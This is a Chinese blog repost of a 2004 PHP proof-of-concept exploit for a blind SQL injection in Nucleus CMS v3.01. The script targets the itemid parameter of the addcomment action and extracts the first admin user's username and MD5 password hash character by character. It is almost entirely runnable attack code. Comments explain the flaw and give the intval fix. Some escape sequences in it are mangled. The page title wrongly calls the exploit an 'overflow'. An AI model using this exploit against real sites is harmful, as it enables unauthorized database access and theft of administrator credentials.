最新sql溢出源代码(概念版)

最新sql溢出源代码(概念版)


#!/usr/bin/php

<?


// Nucleus CMS v3.01 addcoment/itemid SQL Injection Proof of Concept
// By aCiDBiTS           acidbits@hotmail.com           24-July-2004
//
// Nucleus CMS (http://nucleuscms.org) is a weblog php+mysql application.
//
// This Proof of Concept dumps the username and MD5(password) of the admin
user placed at first position
// of members table. First of all checks if we can use "union select" or it
isn't patched and then if first
// member is admin.
//
// Usage (in my debian box):
// php4 -q nuc_addc_poc.php URL


// Vulnerability description
//
// In action.php, function addcoment, there's no user input sanization for
parameter itemid. In line 65:
// $blogid = getBlogIDFromItemID($post['itemid']);
// This allows to inject SQL to get data form the database.
//
// Solution
//
// Modify line 65 with:
// $blogid = getBlogIDFromItemID(intval($post['itemid']));

 

     
echo
"+-------------------------------------------------------------------+/n|
Nucleus CMS v3.01 addcoment/itemid SQL Injection Proof of Concept |/n| By
aCiDBiTS           acidbits@hotmail.com           24-July-2004
|/n+-------------------------------------------------------------------+/n/n
";

if($argc<2) die("Usage: ".$argv[0]." URL/n/n");
$host=$argv[1];
if(substr($host,strlen($host)-1,1)!='/') $host.='/';

echo "Checking if vulnerable and /"union select/" works ... ";
if( test_cond("1") && !test_cond("0") )  echo "OK!/n";
else die( "It doesn't :-(/n/n" );

echo "Checking if first member of table is admin ... ";
if( test_cond("1") )  echo "OK!/n";
else die( "It's not :-(/n/n" );

echo "/nGetting username: ";
get_field("mname");
echo "/nGetting MD5(password): ";
get_field("mpassword");

die("/n/nDone!/n/n");


function get_field( $field )
{
 $unval= "
0123456789ABCDEFGHIJKLMNOPRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
 $idx=1;
 $min=0;
 $max=strlen($unval);
 while($min!=$max) {
  $mid=$min+(($max-$min)/2);
  if(
test_cond("ord(substring($field,$idx,1))=".ord(substr($unval,$mid,1))) ) {
   $idx++;
   echo substr($unval,$mid,1);
   $min=0;
   $max=strlen($unval);
   if( !test_cond("ord(substring($field,$idx,1))") )
return;
  } else {
   if(
test_cond("ord(substring($field,$idx,1))<".ord(substr($unval,$mid,1))) )
$max=$mid;
   else $min=$mid;
  }
 }
 die( "/n/nUnexpected error!/n/n");
}


function test_cond( $cond )
{
 
$res=send_post("action=addcomment&url=index.php%3Fitemid%3D1&itemid=1+and+0+
union+select+1+from+nucleus_member+where+madmin+and+mnumber=1+and+".urlencod
e($cond)."&body=a&user=a&userid=");
    if( eregi( "nucleus_ban", $res ) )
  return 0;
 else return 1;
}

function send_post($data)
{
 global $host;
 $ch=curl_init();
 curl_setopt ($ch, CURLOPT_URL, $host."action.php" );
 curl_setopt ($ch, CURLOPT_HEADER, 0);
 curl_setopt ($ch, CURLOPT_RETURNTRANSFER,1);
 curl_setopt ($ch, CURLOPT_POST, 1);
 curl_setopt ($ch, CURLOPT_POSTFIELDS, $data );
 $data=curl_exec ($ch);
 curl_close ($ch);

 return $data;
}

?>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值